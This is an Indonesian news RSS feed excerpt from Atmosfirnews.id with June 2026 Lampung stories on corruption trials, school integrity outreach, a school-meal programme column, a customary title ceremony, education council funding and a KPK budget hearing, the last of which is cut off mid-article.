Hingga berita ini ditulis, belum ada keterangan resmi dari Badan Gizi Nasional, Kementerian BUMN, maupun PT Pertamina terkait status Nanik sebagai Komisaris Independen setelah ditunjuk menjadi Kepala BGN.

 

Catatan Redaksi:

Secara faktual, berdasarkan situs resmi PT Pertamina, Nanik S. Deyang masih tercantum sebagai Komisaris Independen. Namun, status pencantuman tersebut belum dapat diartikan secara otomatis bahwa yang bersangkutan masih aktif menjalankan fungsi komisaris, karena dimungkinkan adanya proses administrasi atau pergantian yang belum diumumkan secara resmi. (red)

Artikel Gepak Lampung Soroti Status Ganda Kepala BGN, Nama Nanik Masih Ada di Jajaran Komisaris Pertamina pertama kali tampil pada Atmosfirnews.id.

]]>
Kepala Sekolah dan Guru Dikumpulkan, Integritas Pendidikan Tanggamus Dievaluasi https://atmosfirnews.id/kepala-sekolah-dan-guru-dikumpulkan-integritas-pendidikan-tanggamus-dievaluasi/ Thu, 25 Jun 2026 06:55:31 +0000 https://atmosfirnews.id/?p=6392 TANGGAMUS, Atmosfirnews – Pemerintah Provinsi Lampung mulai memperkuat benteng integritas di lingkungan pendidikan. Langkah itu ditandai dengan pelaksanaan Sosialisasi Pencegahan Korupsi bagi satuan pendidikan...

Artikel Kepala Sekolah dan Guru Dikumpulkan, Integritas Pendidikan Tanggamus Dievaluasi pertama kali tampil pada Atmosfirnews.id.

]]>
TANGGAMUS, Atmosfirnews – Pemerintah Provinsi Lampung mulai memperkuat benteng integritas di lingkungan pendidikan. Langkah itu ditandai dengan pelaksanaan Sosialisasi Pencegahan Korupsi bagi satuan pendidikan SMA, SMK, dan SLB se-Kabupaten Tanggamus yang digelar di Aula SMAN 1 Kota Agung, Rabu (24/6/2026).

Kegiatan yang menjadi bagian dari Program Pariwara Anti Korupsi 2026 tersebut difokuskan untuk memetakan kondisi tata kelola pendidikan sekaligus mendorong peningkatan nilai Indeks Survei Penilaian Integritas (SPI) Pendidikan di Kabupaten Tanggamus.

Sosialisasi dibuka oleh Inspektur Provinsi Lampung yang diwakili Sekretaris Inspektorat, Dwi Retno Mulyaningrum, S.Pt., M.Eng., M.Sc., serta dihadiri jajaran Dinas Pendidikan dan Kebudayaan Provinsi Lampung, termasuk Sekretaris Dinas Pendidikan dan Kepala Cabang Dinas Pendidikan Wilayah II.

Sebanyak 182 peserta mengikuti kegiatan tersebut. Mereka terdiri dari kepala SMA dan SMK negeri maupun swasta, bendahara sekolah, guru pengampu mata pelajaran anti korupsi, hingga pengawas sekolah di Kabupaten Tanggamus.

Sekretaris Inspektorat Provinsi Lampung, Dwi Retno Mulyaningrum, menegaskan bahwa sektor pendidikan harus menjadi ruang yang steril dari praktik korupsi, pungutan liar, maupun penyalahgunaan kewenangan.

Menurutnya, SPI Pendidikan bukan sekadar instrumen penilaian, melainkan alat ukur untuk memotret budaya integritas di lingkungan sekolah dan menjadi dasar perbaikan tata kelola pendidikan.

“Budaya integritas harus dibangun sejak dini di lingkungan pendidikan. Sekolah tidak hanya bertugas mencetak generasi cerdas, tetapi juga melahirkan generasi yang jujur, berkarakter, dan memiliki komitmen terhadap nilai-nilai antikorupsi,” ujarnya.

Rangkaian kegiatan diisi dengan pemaparan mengenai pentingnya SPI Pendidikan, mitigasi risiko pungutan liar (pungli), identifikasi gratifikasi, hingga penguatan tata kelola dana operasional sekolah yang akuntabel dan transparan.

Para peserta juga mengikuti diskusi interaktif mengenai berbagai potensi penyimpangan di lingkungan pendidikan, mulai dari pengelolaan anggaran, pelayanan administrasi, hingga praktik-praktik yang berpotensi menurunkan integritas satuan pendidikan.

Sebagai tindak lanjut, seluruh peserta menyepakati sejumlah rekomendasi penting.

Pertama, setiap sekolah diminta melakukan pembenahan sistem pelayanan dan tata kelola internal guna meningkatkan nilai SPI Pendidikan secara berkala.

Kedua, guru pengampu mata pelajaran anti korupsi didorong mengintegrasikan sembilan nilai integritas ke dalam proses pembelajaran sehari-hari secara kreatif dan kontekstual.

Ketiga, kepala sekolah dan bendahara diwajibkan menyusun Rencana Kegiatan dan Anggaran Sekolah (RKAS) secara transparan, akuntabel, dan bebas dari intervensi pihak mana pun.

Keempat, pengawas sekolah diminta memperkuat fungsi kontrol dan monitoring untuk mendeteksi secara dini potensi penyimpangan dalam pengelolaan administrasi dan anggaran pendidikan.

Kegiatan ditutup dengan deklarasi komitmen bersama serta penandatanganan pakta integritas antikorupsi oleh perwakilan kepala sekolah sebagai simbol penguatan budaya integritas di lingkungan pendidikan Kabupaten Tanggamus.

Melalui langkah ini, Pemerintah Provinsi Lampung berharap sekolah tidak hanya menjadi tempat transfer ilmu pengetahuan, tetapi juga menjadi ruang pembentukan karakter dan integritas, sehingga praktik-praktik korupsi dapat dicegah sejak dari bangku pendidikan.

Artikel Kepala Sekolah dan Guru Dikumpulkan, Integritas Pendidikan Tanggamus Dievaluasi pertama kali tampil pada Atmosfirnews.id.

]]>
Sidang Bongkar Dugaan TPPU Dendi Ramadhona, Pembelian Saham RS Urip Rp500 Juta Diduga Pakai Nama Orang Lain https://atmosfirnews.id/sidang-bongkar-dugaan-tppu-dendi-ramadhona-pembelian-saham-rs-urip-rp500-juta-diduga-pakai-nama-orang-lain/ Wed, 24 Jun 2026 13:08:11 +0000 https://atmosfirnews.id/?p=6389 BANDAR LAMPUNG, Atmosfirnews – Persidangan dugaan tindak pidana pencucian uang (TPPU) yang menjerat mantan Bupati Pesawaran dua periode, Dendi Ramadhona Kaligis, kembali membuka fakta...

Artikel Sidang Bongkar Dugaan TPPU Dendi Ramadhona, Pembelian Saham RS Urip Rp500 Juta Diduga Pakai Nama Orang Lain pertama kali tampil pada Atmosfirnews.id.

]]>
BANDAR LAMPUNG, Atmosfirnews – Persidangan dugaan tindak pidana pencucian uang (TPPU) yang menjerat mantan Bupati Pesawaran dua periode, Dendi Ramadhona Kaligis, kembali membuka fakta baru yang memperlebar dugaan penyamaran aset hasil korupsi.

Dalam sidang di Pengadilan Tindak Pidana Korupsi pada Pengadilan Negeri Tanjungkarang, Selasa (23/6/2026), terungkap bahwa Dendi diduga membeli lima lembar saham di Rumah Sakit Urip Sumoharjo Gedong Tataan senilai Rp500 juta dengan menggunakan nama orang lain. Fakta tersebut disampaikan langsung oleh Direktur dan Komisaris RS Urip Sumoharjo, Galih dan Ami Yahya, di hadapan majelis hakim.

Menurut kesaksian Ami Yahya, transaksi pembelian saham itu terjadi pada 2024. Namun, saham tersebut tidak dicatat atas nama Dendi, melainkan atas nama Andrianto alias Atek.

> “Beliau minta beli saham dan diatasnamakan Andrianto alias Atek,” ujar Ami Yahya dalam persidangan.

Kesaksian itu memperkuat dugaan adanya upaya menyamarkan kepemilikan aset, sebuah pola yang kerap menjadi karakteristik tindak pidana pencucian uang. Bahkan, bukti kuitansi pembelian saham tersebut disebut telah ditemukan penyidik saat melakukan penggeledahan di rumah terdakwa dan kini menjadi bagian dari barang bukti perkara.

 

Aliran Fee Proyek ke Rumah Mewah

Persidangan sebelumnya juga mengungkap dugaan aliran dana korupsi proyek Sistem Penyediaan Air Minum (SPAM) Kabupaten Pesawaran tahun 2022.

Mantan Kabag Umum Setdakab Pesawaran, Hendry Kurniawan, mengaku di hadapan majelis hakim bahwa sebagian dana fee proyek SPAM digunakan untuk membeli lahan dan membangun rumah mewah yang kini tercatat atas nama istri Dendi, Nanda Indira Bastian.

Dana yang diduga berasal dari pungutan fee proyek sebesar 20 persen dari para rekanan itu disebut mencapai Rp4,22 miliar. Dana tersebut digunakan untuk membayar kontraktor, arsitek, hingga desain interior rumah mewah yang telah disita penyidik.

Hendry mengaku dirinya menjadi perantara dalam transaksi pembelian lahan dan menyerahkan uang tunai sebanyak dua kali kepada penjual, masing-masing Rp1 miliar dan Rp500 juta.

Kesaksian tersebut membuka dugaan bahwa praktik korupsi tidak berhenti pada penerimaan fee proyek, melainkan berlanjut pada upaya mengubah dan menyembunyikan asal-usul uang melalui pembelian aset serta penggunaan nama pihak lain.

 

Pusaran Kasus Berpotensi Meluas

Munculnya sejumlah nama dalam persidangan juga memunculkan kemungkinan pengembangan perkara oleh penyidik.

Nama pejabat Pemkab Pesawaran, Fanny Setiawan, ikut disebut dalam alur transaksi pembelian lahan. Sementara itu, nama Nanda Indira Bastian kembali muncul karena rumah mewah yang dibangun dari dugaan aliran dana tersebut tercatat atas namanya.

Hingga kini, Kejaksaan Tinggi Lampung belum memberikan keterangan resmi mengenai kemungkinan pemeriksaan lanjutan terhadap pihak-pihak yang disebut dalam persidangan. Namun, sederet fakta yang terungkap di ruang sidang menunjukkan bahwa perkara ini tidak lagi semata menyangkut dugaan korupsi proyek SPAM, melainkan telah berkembang menjadi dugaan jaringan penyamaran aset yang jauh lebih kompleks.

Artikel Sidang Bongkar Dugaan TPPU Dendi Ramadhona, Pembelian Saham RS Urip Rp500 Juta Diduga Pakai Nama Orang Lain pertama kali tampil pada Atmosfirnews.id.

]]>
EMBEGE Tak Membuat Si Kecil Kenyang, Si Besar Justru Mengaum “Kelaparan” https://atmosfirnews.id/embege-tak-membuat-si-kecil-kenyang-si-besar-justru-mengaum-kelaparan/ Wed, 24 Jun 2026 08:44:14 +0000 https://atmosfirnews.id/?p=6386 Oleh: Wahyudi BANDAR LAMPUNG, Atmosfirnews – Program EMBEGE lahir dari sebuah niat yang mulia, memastikan tidak ada anak Indonesia yang belajar dengan perut kosong,...

Artikel EMBEGE Tak Membuat Si Kecil Kenyang, Si Besar Justru Mengaum “Kelaparan” pertama kali tampil pada Atmosfirnews.id.

]]>
Oleh: Wahyudi

BANDAR LAMPUNG, Atmosfirnews – Program EMBEGE lahir dari sebuah niat yang mulia, memastikan tidak ada anak Indonesia yang belajar dengan perut kosong, tidak ada balita yang kekurangan gizi, dan tidak ada masa depan yang dipatahkan oleh kemiskinan di meja makan. Di atas kertas. EMBEGE adalah salah satu gagasan paling manusiawi yang pernah dimiliki negara.

Tetapi sejarah mengajarkan, tidak ada program yang terlalu suci untuk tidak diperebutkan.

Ketika kabar penangkapan para petinggi pengelola program mencuat dan distribusi makanan terganggu, sebuah ironi pun tersaji. Si kecil kembali menunggu makan dalam diam, tidak ribut, tapi tetap kenyang.

Sementara di tempat lain, orang-orang dewasa bertengkar. Orang-orang besar ribut, melempar piring-piring makan, saling menuduh, dan saling menyelamatkan diri.

Embege tak membuat si kecil kenyang. Tetapi tampaknya berhasil membangunkan kerakusan para beruk dan kebuasan para serigala.

Para beruk berebut pisang yang bukan miliknya. Para serigala mengendus aroma daging di sekitar piring anak-anak. Ketika perjamuan dihentikan, mereka melolong.

Mereka marah bukan karena anak-anak tak lagi makan, tetapi karena meja santapan mereka tiba-tiba dibalik.

Di situlah tragedinya.

Kelaparan ternyata tidak selalu berada di perut. Ada kelaparan yang berdiam di dalam jiwa yang busuk, yaitu lapar akan uang, lapar akan kuasa, lapar akan proyek, lapar akan bagian yang tak pernah cukup. Dan kelaparan semacam ini jauh lebih berbahaya daripada lapar yang diderita anak-anak miskin.

Sebab anak yang lapar hanya meminta sepiring nasi.

Tetapi manusia yang dikuasai kerakusan sanggup melahap seluruh lumbung.

Di negeri yang masih memiliki jutaan anak rentan stunting, jutaan keluarga yang hidup dengan penghasilan pas-pasan, dan jutaan orang tua yang setiap hari bertarung agar anaknya tetap bisa makan dan bersekolah, mempermainkan program pangan untuk anak-anak adalah bentuk kekejaman sosial yang paling telanjang.

Karena yang dicuri bukan sekadar uang.

Yang dicuri adalah pertumbuhan seorang anak.

Yang dirampas adalah kesempatan seorang murid untuk belajar dengan tubuh yang sehat.

Yang dirusak adalah kepercayaan orang miskin kepada negara.

Setiap sendok nasi yang tidak sampai kepada anak-anak sesungguhnya adalah masa depan yang dicuri sedikit demi sedikit.

Dan dosa sosial semacam itu tak pernah berhenti pada angka kerugian negara.

Ia menjelma menjadi anak yang gagal tumbuh, pelajar yang sulit berkonsentrasi, ibu yang cemas, dan keluarga miskin yang semakin kehilangan harapan.

Semua agama mengajarkan satu hal yang sama bahwa memberi makan orang lapar adalah pekerjaan yang mulia.

Dalam tradisi Islam, memberi makan orang miskin dipandang sebagai amal yang mendekatkan manusia kepada Tuhan. Bahkan, salah satu tanda pendusta agama adalah mereka yang mengabaikan anak yatim dan tidak mendorong memberi makan orang miskin.

Dalam tradisi Kristen, roti dibagi sebagai simbol kasih dan pengorbanan.

Dalam tradisi Hindu dan Buddha, berbagi makanan adalah bentuk dharma dan welas asih kepada sesama makhluk.

Karena itu, bila ada tangan-tangan yang justru menjadikan makanan anak-anak sebagai ladang perburuan, persoalannya bukan lagi sekadar pelanggaran hukum.

Ia telah memasuki wilayah moral.

Ia telah menyentuh ranah teologi.

Sebab di hadapan Tuhan, mengambil hak anak yang lapar bukan hanya tindakan korup. Ia adalah pengkhianatan terhadap amanat kemanusiaan.

Negara boleh gagal menyusun program. Pemerintah boleh salah merancang kebijakan.Sistem boleh memiliki kelemahan.

Tetapi tidak ada pembenaran moral bagi siapa pun yang menjadikan piring anak-anak sebagai meja perjamuan.

Sebab peradaban diukur bukan dari seberapa megah gedung-gedungnya, melainkan dari bagaimana ia memperlakukan mereka yang paling kecil dan paling lemah.

Anak-anak yang menunggu makan tidak memahami politik, tidak mengerti birokrasi, dan tidak tahu siapa yang ditangkap atau siapa yang berkelahi.

Mereka hanya tahu satu hal, hari ini mereka lapar.

Dan ketika orang-orang dewasa berebut di atas nama program untuk mereka, sesungguhnya yang sedang dipertontonkan adalah wajah paling purba manusia, kerakusan para beruk dan kebuasan para serigala.

Teruslah membusuk lebih cepat. Kelak pembusukan ini terbalaskan! Tuhan pasti menurunkan azabnya yang nyata.

Artikel EMBEGE Tak Membuat Si Kecil Kenyang, Si Besar Justru Mengaum “Kelaparan” pertama kali tampil pada Atmosfirnews.id.

]]>
Danjen Kopassus Putra Bengkulu Djon Afriandi Terima Gelar Panglima Raja https://atmosfirnews.id/danjen-kopassus-putra-bengkulu-djon-afriandi-terima-gelar-panglima-raja/ Wed, 24 Jun 2026 04:42:26 +0000 https://atmosfirnews.id/?p=6384 BENGKULU, Atmosfirnews – Panglima Kopassus, Djon Afriandi, resmi menerima gelar adat Panglima Raja dari Badan Musyawarah Adat (BMA) Provinsi Bengkulu dalam prosesi adat yang...

Artikel Danjen Kopassus Putra Bengkulu Djon Afriandi Terima Gelar Panglima Raja pertama kali tampil pada Atmosfirnews.id.

]]>
BENGKULU, Atmosfirnews – Panglima Kopassus, Djon Afriandi, resmi menerima gelar adat Panglima Raja dari Badan Musyawarah Adat (BMA) Provinsi Bengkulu dalam prosesi adat yang berlangsung di Balai Raya Semarak, Selasa (23/6) malam.

Penyematan gelar adat tersebut dilakukan oleh Ketua Badan Musyawarah Adat Provinsi Bengkulu, Effendi M.S, didampingi Gubernur Bengkulu, Helmi Hasan.

Djon Afriandi merupakan putra dari Mayor Jenderal (Purn) TNI Affifudin Thaib, tokoh asal Bengkulu yang berasal dari Suku Lembak. Sementara ibunya berasal dari Kelurahan Pasar Melintang, Kota Bengkulu. Latar belakang tersebut menjadi salah satu pertimbangan kuat dalam pemberian gelar adat kepada Panglima Kopassus.

Ketua BMA Provinsi Bengkulu, Effendi M.S, menjelaskan bahwa pemberian gelar adat Panglima Raja telah melalui proses penilaian dan pertimbangan yang matang oleh lembaga adat.

“Pemberian gelar ini telah melalui penilaian dari Badan Musyawarah Adat. Beliau memiliki garis keturunan Bengkulu yang kuat dari pihak ayah maupun keluarga besarnya, sehingga layak menerima penghormatan adat ini,” ujar Effendi.

Djon Afriandi sendiri menghabiskan masa kecilnya di Kelurahan Pasar Melintang, Kota Bengkulu. Setelah itu, ia melanjutkan pendidikan tingkat SMA di Bandung, Jawa Barat, sebelum masuk Akademi Militer (Akmil) pada tahun 1991.

Usai menempuh pendidikan selama empat tahun, Djon lulus dari Akmil pada tahun 1995 dan berhasil meraih penghargaan Adhi Makayasa, sebagai taruna lulusan terbaik Akademi Militer.

Dalam sambutannya, Djon Afriandi menyampaikan rasa syukur dan terima kasih atas kepercayaan yang diberikan masyarakat adat Bengkulu. Ia menegaskan bahwa gelar adat yang diterimanya bukan sekadar penghormatan, melainkan amanah yang harus dijaga dengan penuh tanggung jawab.

“Gelar ini bukan sekadar mahkota kehormatan, tetapi juga amanah dan tanggung jawab untuk menjaga marwah adat serta memperkuat tali persaudaraan. Sebagai putra Bengkulu, saya akan menjunjung tinggi nilai-nilai adat, menjaga nama baik gelar ini dalam kehidupan sehari-hari, serta terus memperkuat persatuan,” kata Djon.

Sementara itu, Gubernur Bengkulu Helmi Hasan menyampaikan apresiasi atas dedikasi dan kontribusi Djon Afriandi dalam menjaga keutuhan dan keamanan Negara Kesatuan Republik Indonesia (NKRI).

“Kontribusi Panglima Kopassus sangat luar biasa. Beliau adalah putra Bengkulu yang telah memberikan pengabdian terbaik bagi bangsa dan negara dalam menjaga keamanan NKRI,” ujar Helmi.

Acara penyematan gelar adat tersebut turut dihadiri Pangdam Radin Inten, Letjend Agus Wibowo, Wakil Gubernur Bengkulu, Mian, unsur Forkopimda, pejabat Pemerintah Provinsi Bengkulu, tokoh adat, tokoh agama, serta tokoh masyarakat.

Sebagai bentuk kepedulian sosial dalam rangkaian kegiatan Semarak Muharram 1448 Hijriah, acara juga diisi dengan penyerahan santunan kepada 200 anak yatim.

Penyematan gelar adat Panglima Raja diharapkan semakin mempererat hubungan antara masyarakat adat Bengkulu dengan putra-putra terbaik daerah yang telah mengabdi dan mengharumkan nama Bengkulu di tingkat nasional.(Bengkuludisway.com)

Artikel Danjen Kopassus Putra Bengkulu Djon Afriandi Terima Gelar Panglima Raja pertama kali tampil pada Atmosfirnews.id.

]]>
Menakar Jalan Tengah Kemitraan Dewan Pendidikan dan Dinas Pendidikan di Tengah Defisit Fiskal Lampung https://atmosfirnews.id/menakar-jalan-tengah-kemitraan-dewan-pendidikan-dan-dinas-pendidikan-di-tengah-defisit-fiskal-lampung/ Wed, 24 Jun 2026 04:34:40 +0000 https://atmosfirnews.id/?p=6382 BANDAR LAMPUNG, Atmosfirnews – Kebangkitan Dewan Pendidikan Provinsi Lampung Masa Bakti 2025–2030 setelah vakum selama hampir 15 tahun menjadi momentum krusial bagi pembenahan mutu...

Artikel Menakar Jalan Tengah Kemitraan Dewan Pendidikan dan Dinas Pendidikan di Tengah Defisit Fiskal Lampung pertama kali tampil pada Atmosfirnews.id.

]]>
BANDAR LAMPUNG, Atmosfirnews – Kebangkitan Dewan Pendidikan Provinsi Lampung Masa Bakti 2025–2030 setelah vakum selama hampir 15 tahun menjadi momentum krusial bagi pembenahan mutu pendidikan di Bumi Ruwa Jurai.

Dipimpin oleh akademisi Prof. Syafrimen, M.Ed., Ph.D, lembaga mandiri ini hadir bukan sebagai lembaga kemasyarakatan biasa, melainkan badan kuasi-resmi negara yang mengemban amanat regulasi nasional.

Berdasarkan Pasal 192 ayat (2) dan (4) Peraturan Pemerintah (PP) Nomor 17 Tahun 2010, Dewan Pendidikan memiliki Tugas Pokok untuk menghimpun, menganalisis, dan memberikan rekomendasi kepada pemerintah daerah mengenai aspirasi serta tuntutan pendidikan masyarakat.

Tugas pokok ini diturunkan ke dalam empat fungsi regulasi yang mengikat, yaitu:

Fungsi Pertimbangan (Advisory): Memberikan masukan strategis dalam perumusan kebijakan, program, dan anggaran pendidikan provinsi.

Fungsi Pendukung (Supporting): Mendorong tumbuhnya komitmen dan pemikiran masyarakat serta dunia usaha dalam memperkuat sumber daya pendidikan.

Fungsi Pengawasan (Controlling): Melakukan kontrol sosial yang transparan terhadap mutu pelayanan dan efisiensi pengelolaan sistem pendidikan di tingkat sekolah menengah (SMA/SMK/SLB).

Fungsi Mediator: Menjadi jembatan komunikasi yang netral antara pemerintah daerah, legislatif, masyarakat, dan dunia industri.

 

Langkah awal lembaga ini sempat diwarnai dinamika politik lokal saat Komisi V DPRD Lampung mempertanyakan legitimasi dan sistem penganggarannya akibat miskomunikasi pos anggaran operasional antara Dinas Pendidikan (Disdik) dan legislatif.

Polemik ini memicu perdebatan mengenai kepatuhan administrasi keuangan daerah versus urgensi pelayanan publik.Sebagai solusi taktis, Dinas Pendidikan Provinsi Lampung memastikan operasional Dewan Pendidikan dimasukkan ke dalam draf APBD Perubahan.

Langkah ini dinilai sebagai solusi birokrasi yang paling logis untuk memperjelas status legal mereka sebagai lembaga resmi daerah yang disokong dana negara demi menjalankan tupoksi regulasi tersebut.

Di tengah kondisi fiskal Provinsi Lampung yang mengalami defisit mendalam, formulasi pembiayaan Dewan Pendidikan dituntut untuk mengedepankan asas efisiensi namun tetap apresiatif.

Mencoret sama sekali pos anggaran (Rp0) bukanlah langkah bijak karena mengabaikan fungsi pengikat akuntabilitas kinerja bagi ke-13 anggota yang mayoritas berpendidikan Magister (S2) dan Doktor (S3)

Sebagai jalan tengah, skema “Honorarium Minimalis-Apresiatif” bisa dalam kisaran Rp1.500.000 hingga Rp3.000.000 per bulan, atau menggunakan sistem Uang Saku Kegiatan (Pay-per-Activity) berkisar Rp300.000 hingga Rp500.000 per kehadiran rapat pleno. Angka itu bisa dimaksimalkan hingga 10 kali lipat jika Pemprob Lampung memiliki kesiapan fiskal yang memadai.

Melalui pembagian peran yang tegas, di mana Disdik bergerak sebagai eksekutor teknis anggaran dan Dewan Pendidikan sebagai pengawas makro sesuai mandat PP 17/2010, kedua lembaga diharapkan dapat berjalan selaras demi membenahi rapor mutu pendidikan di Provinsi Lampung.(red)

Artikel Menakar Jalan Tengah Kemitraan Dewan Pendidikan dan Dinas Pendidikan di Tengah Defisit Fiskal Lampung pertama kali tampil pada Atmosfirnews.id.

]]>
HIPMI Gelar Munas di Bandar Lampung, Jamal: Semangat Pengusaha Pejuang Harus Terus Dijaga https://atmosfirnews.id/hipmi-gelar-munas-di-bandar-lampung-jamal-semangat-pengusaha-pejuang-harus-terus-dijaga/ Tue, 23 Jun 2026 03:42:29 +0000 https://atmosfirnews.id/?p=6370 BANDAR LAMPUNG, KencanaMediaNews – Musyawarah Nasional (Munas) Himpunan Pengusaha Muda Indonesia (HIPMI) yang digelar di Novotel Lampung, Rabu-Kamis 10-11 Juni 2026, berlangsung sukses dan...

Artikel HIPMI Gelar Munas di Bandar Lampung, Jamal: Semangat Pengusaha Pejuang Harus Terus Dijaga pertama kali tampil pada Atmosfirnews.id.

]]>
BANDAR LAMPUNG, KencanaMediaNews – Musyawarah Nasional (Munas) Himpunan Pengusaha Muda Indonesia (HIPMI) yang digelar di Novotel Lampung, Rabu-Kamis 10-11 Juni 2026, berlangsung sukses dan lancar. Kegiatan tersebut menjadi momentum penting bagi para pengusaha muda dari seluruh Indonesia untuk memperkuat konsolidasi organisasi, memperluas jaringan usaha, serta merumuskan langkah strategis dalam mendukung pertumbuhan ekonomi nasional.

Munas HIPMI di Bandar Lampung dihadiri oleh pengurus dan anggota HIPMI dari berbagai daerah di Indonesia. Selain menjadi forum pengambilan keputusan organisasi, kegiatan ini juga menjadi wadah bertukar gagasan, pengalaman, serta inovasi guna menghadapi tantangan dunia usaha yang semakin dinamis.

Kabid Organisasi, Keanggotaan, dan Kaderisasi (OKK) HIPMI Syari’ah Lampung sekaligus Pengurus Bidang 8, Jamal, menyampaikan apresiasi atas suksesnya penyelenggaraan Munas HIPMI yang berlangsung di Bandar Lampung.

“Alhamdulillah, Munas HIPMI tahun 2026 dapat terselenggara dengan baik, tertib, dan penuh semangat kebersamaan. Forum ini menjadi bukti bahwa HIPMI terus berkembang sebagai organisasi yang mampu menghimpun para pengusaha muda untuk berkontribusi bagi kemajuan bangsa,” kata Jamal Selasa 23 Juni 2026.

Menurut Jamal, Munas HIPMI bukan hanya agenda organisasi semata, melainkan juga momentum untuk memperkuat peran pengusaha muda dalam menciptakan peluang usaha, membuka lapangan pekerjaan, dan mendorong pertumbuhan ekonomi daerah maupun nasional.

“Semangat yang harus terus kita jaga adalah semangat pengusaha pejuang dan pejuang pengusaha. Pengusaha yang tidak hanya berorientasi pada keuntungan, tetapi juga memiliki kepedulian terhadap pembangunan bangsa dan kesejahteraan masyarakat. Melalui HIPMI, kita ingin melahirkan semakin banyak wirausahawan tangguh yang mampu bersaing di tingkat nasional maupun global,” tambahnya.

Ia juga berharap hasil-hasil keputusan Munas dapat menjadi landasan kuat bagi HIPMI untuk terus beradaptasi dengan perkembangan zaman, khususnya dalam menghadapi transformasi digital, ekonomi kreatif, dan peluang investasi yang semakin terbuka.

“Semoga kepemimpinan dan program kerja yang dihasilkan dari Munas ini dapat membawa HIPMI semakin maju, solid, dan memberikan manfaat yang lebih besar bagi para pelaku usaha serta masyarakat Indonesia,” pungkas Jamal.

Dengan suksesnya penyelenggaraan Munas HIPMI di Bandar Lampung, diharapkan organisasi ini semakin memperkuat perannya sebagai wadah pengusaha muda Indonesia dalam mendorong pertumbuhan ekonomi, menciptakan inovasi, dan membangun kemandirian bangsa menuju Indonesia yang lebih maju dan sejahtera. (Red)

Artikel HIPMI Gelar Munas di Bandar Lampung, Jamal: Semangat Pengusaha Pejuang Harus Terus Dijaga pertama kali tampil pada Atmosfirnews.id.

]]>
Temuan Bertambah, Ferry Minta Gubernur Lampung Periksa Langsung Proyek Jalan Rp23,9 Miliar https://atmosfirnews.id/temuan-bertambah-ferry-minta-gubernur-lampung-periksa-langsung-proyek-jalan-rp239-miliar/ Tue, 23 Jun 2026 01:10:41 +0000 https://atmosfirnews.id/?p=6367 PRINGSEWU, AtmosfirNews – Menanggapi berbagai temuan dan sorotan yang terus berkembang, Ketua RUBIK Lampung Ferry juga meminta perhatian serius dari Gubernur Lampung Rahmat Mirzani Djausal...

Artikel Temuan Bertambah, Ferry Minta Gubernur Lampung Periksa Langsung Proyek Jalan Rp23,9 Miliar pertama kali tampil pada Atmosfirnews.id.

]]>
PRINGSEWU, AtmosfirNews – Menanggapi berbagai temuan dan sorotan yang terus berkembang, Ketua RUBIK Lampung Ferry juga meminta perhatian serius dari Gubernur Lampung Rahmat Mirzani Djausal selaku kepala daerah yang membawahi organisasi perangkat daerah di lingkungan Pemerintah Provinsi Lampung.

Menurut Ferry, Gubernur Lampung perlu memerintahkan Dinas Bina Marga dan Bina Konstruksi (BMBK) Provinsi Lampung untuk melakukan evaluasi menyeluruh terhadap pekerjaan preservasi Jalan Ruas Kalirejo–Pringsewu, termasuk melakukan pemeriksaan teknis terhadap kualitas pekerjaan drainase atau TPT yang menjadi sorotan masyarakat.

“Pak Gubernur harus mengetahui bahwa hingga saat ini masih banyak pertanyaan publik yang belum terjawab. Kami berharap Gubernur Lampung memerintahkan jajarannya turun langsung ke lapangan untuk memeriksa seluruh tahapan pekerjaan, mulai dari metode pelaksanaan, kualitas material, fungsi pengawasan, hingga kesesuaian pekerjaan dengan spesifikasi kontrak,” tegas Ferry.

Tidak hanya itu, Ferry juga meminta dilakukan evaluasi terhadap kinerja pihak-pihak yang terlibat dalam proyek tersebut, baik unsur pengawasan, pelaksana maupun pihak yang memiliki tanggung jawab teknis terhadap pekerjaan.

Menurutnya, apabila hasil pemeriksaan nantinya menemukan adanya ketidaksesuaian pekerjaan, maka harus ada langkah korektif dan tindakan tegas sesuai ketentuan yang berlaku. Sebaliknya, apabila seluruh pekerjaan telah sesuai spesifikasi, hasil pemeriksaan tersebut juga harus disampaikan secara terbuka kepada masyarakat untuk menghilangkan berbagai dugaan yang berkembang.

“Jangan sampai polemik ini terus bergulir tanpa kejelasan. Yang dibutuhkan masyarakat adalah transparansi, kepastian kualitas pekerjaan, dan jaminan bahwa anggaran Rp23,9 miliar benar-benar digunakan untuk menghasilkan infrastruktur yang berkualitas dan bermanfaat bagi rakyat,” ujar Ferry.

Ferry menegaskan bahwa desakan tersebut bukan untuk menghambat pembangunan, melainkan untuk memastikan setiap rupiah uang rakyat yang digunakan dalam proyek tersebut dapat dipertanggungjawabkan secara teknis, administrasi maupun hukum.

(Tim fkwkp)

Artikel Temuan Bertambah, Ferry Minta Gubernur Lampung Periksa Langsung Proyek Jalan Rp23,9 Miliar pertama kali tampil pada Atmosfirnews.id.

]]>
KPK CUMA MINTA RP762 MILIAR, SAHRONI LANGSUNG GERAM: “PAK, AJUIN RP5 TRILIUN, TANGGUNG!” https://atmosfirnews.id/kpk-cuma-minta-rp762-miliar-sahroni-langsung-geram-pak-ajuin-rp5-triliun-tanggung/ Fri, 19 Jun 2026 13:27:02 +0000 https://atmosfirnews.id/?p=6364 JAKARTA, AtmosfirNews – Sebuah rapat anggaran yang biasanya berjalan datar mendadak memanas di kompleks parlemen Senayan, Jakarta, Rabu (17/6/2026). Bukan karena perdebatan sengit soal...

Artikel KPK CUMA MINTA RP762 MILIAR, SAHRONI LANGSUNG GERAM: “PAK, AJUIN RP5 TRILIUN, TANGGUNG!” pertama kali tampil pada Atmosfirnews.id.

]]>
JAKARTA, AtmosfirNews – Sebuah rapat anggaran yang biasanya berjalan datar mendadak memanas di kompleks parlemen Senayan, Jakarta, Rabu (17/6/2026). Bukan karena perdebatan sengit soal korupsi, tapi karena alasan yang justru terbalik dari biasanya: anggota DPR menuntut sebuah lembaga negara untuk minta uang lebih banyak.

Lembaga itu adalah Komisi Pemberantasan Korupsi alias KPK. Dan yang membuatnya jadi viral adalah reaksi spontan Wakil Ketua Komisi III DPR Ahmad Sahroni begitu mendengar angka yang diajukan Ketua KPK Setyo Budiyanto.

Mari kita mulai dari awal. Dalam rapat kerja itu, Setyo memaparkan bahwa KPK mendapat pagu indikatif tahun 2027 sebesar Rp1,23 triliun. Angka ini sebenarnya turun cukup signifikan, sekitar Rp349 miliar atau 22 persen, dibanding anggaran tahun 2026.

“Pagu indikatif KPK tahun 2027 mengalami penurunan sebesar Rp349 miliar atau 22 persen dibandingkan DIPA tahun anggaran 2026,” kata Setyo di hadapan anggota Komisi III.

